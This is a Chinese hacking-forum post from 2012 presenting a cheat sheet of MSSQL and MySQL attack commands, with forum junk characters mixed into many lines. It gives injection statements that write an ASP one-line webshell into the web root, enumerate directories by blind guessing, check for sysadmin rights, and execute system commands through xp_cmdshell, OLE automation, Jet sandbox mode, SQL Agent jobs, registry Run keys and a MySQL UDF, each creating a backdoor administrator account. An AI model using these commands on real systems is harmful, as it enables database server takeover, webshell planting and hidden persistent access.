找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3021|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
* U1 ?8 n7 q9 Y. e首先确定网站的WEB路径1 ^/ y; o4 S2 F
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马( C0 i8 J) }5 f& w& B- G- ~) v! o4 y
3 h9 I* J; J" q2 b  Q
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- , v; ~6 k* m: P! D
//将一句话木马插入表中; l' }6 m- [& }" Y3 N
1 b" _7 b& j  s0 E
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
& G/ t  `5 D  M( _( |5 B//导出一个ASP文件! g3 B, n3 ^0 |  T
) l' y$ s' s+ s6 N" C  _: Q7 I

* |9 G0 j: P  q, C3 V% g8 n+ x关于MSSQL列目录+ ~3 P5 [7 A4 \$ }
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
3 p( Q8 D  g; v$ c# z7 C8 u4 KInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
; X6 z5 [& G9 j) f& P+ g
+ F+ {1 s0 h+ F8 c% Eand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
  A2 K7 q% d+ i2 M  r0 V% d0 W, \
. a' j, T+ s1 h7 M9 i' _# xAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
1 E: F2 f' w$ r/ ^9 p9 w) r! e8 z4 T* y7 x# v% @: h/ J
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
$ L/ F5 u; N7 X, a: z* ?6 M8 K8 q! l9 V2 n- j! p$ }
9 ~* X/ \/ _1 Z4 _2 x  s
数据库版本和权限查看
$ ^- Q# m( b# G7 r9 E! \and 1=(select @@VERSION) //查看详细的数据库信息.4 L7 [# V. \& K7 @
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
" E4 [7 M% \0 N4 W( gand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER* R/ g/ @3 M6 E3 w' R; m# W
( t  L1 M- R6 R8 _% T$ d

- I( x" E1 K4 `7 G3 C1 _- t/ W1.利用xp_cmdshell执行命令
+ n) ?5 K3 I7 O0 c$ l. \exec master..xp_cmdshell 'net user rfire 123456 /add'- ?% L. _: Z9 E/ t- X1 N
exec master..xp_cmdshell 'net localgroup administrators rfire /add'% C" B6 J( s* z( o& f8 Z/ h; t$ Q$ j% i
1 W/ y. S/ }/ Y7 @8 N
恢复xp_cmdshell存储过程! X9 B7 ^, a( q# D5 |5 a& g
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'+ x1 [" A9 {, ?

/ F9 f; J' m1 L0 z% e: l
  n0 o6 e* s- W0 W8 p& r2.利用SP_OAcreate和SP_OAMETHOD执行命令% J: I; _0 @4 w8 n9 ?" g
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
: a6 J9 o' v! @  SDECLARE @shell INT //建立一个@shell实体
1 p/ @# Z7 F7 ^& p) q% j) o; AEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例& n4 @2 j. M) s/ b7 _/ ~
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
% [" e: m. q1 {# k5 ]
) j, \6 R2 b9 W6 x+ Q  _+ n$ U+ U9 P. B' N* j( X9 s5 t
3.利用沙盒模式
7 {+ L0 p! B: M* ?* I, S% n) V先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
& d0 v: H( v1 P/ V开启沙盒模式:. S$ N2 ?0 l. b6 W% t- V
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
! D4 N8 s7 J' \7 s8 }
. _+ E* p: w4 b2 x6 H执行命令:
- ]( X, D6 N/ F: p5 w. |0 B0 @0 OSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');; [/ E4 Z/ u8 t. ]4 _4 F' z8 t
5 g. A2 M9 ~( T

& G1 ?; `/ U; Z4 E5 S% n$ @4.利用SQL代理执行命令  [; C- M" m8 ^" U' x. M; N
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务# v/ s5 L' V" Y$ Y
) {; T% C( M/ \: Y1 \- T) S
执行命令:" V3 t9 X- h2 d
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
% l# b+ [, A2 f, q  d3 sexec sp_add_job 'x'
8 A! t5 F4 F  V* g# }exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
! ?4 r3 ]' u8 s' t+ c& z/ C' rexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业! Q% @# g8 O+ _% E  p; ]0 o- A

$ E& A' k, a# P, A9 n
4 Y  s/ g  {# I4 z' J5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
4 v% |3 C4 e; Q/ mEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
' P2 K% O0 X3 y0 \' s, Z3 m& f
3 k0 J6 u) u: \, d7 p9 z" C
3 V3 D- h) F7 |% J" T/ ?% x' x6.MYSQL的命令执行3 k7 f# f# ~% ]" {& p
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)! h. X; o4 w+ J( A& U* c
首先要在su.php下导出c:\windows\udf.dll% b* s2 f, v8 P" c% K, {
导出后执行创建自定义函数命令:" Z7 w0 f  z4 ]1 s7 w# G! Q" x
Create Function cmdshell returns string soname 'udf.dll'+ o4 @4 ^3 R6 E4 [8 C; _4 ^& [
执行命令% F, Q0 X9 `" B
select cmdshell('net user rfire 123456 /add')
" x8 }; ]$ m6 @# u% Q执行后删除函数 drop function cmdshell8 F- K% \" l" q9 H3 ~, O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表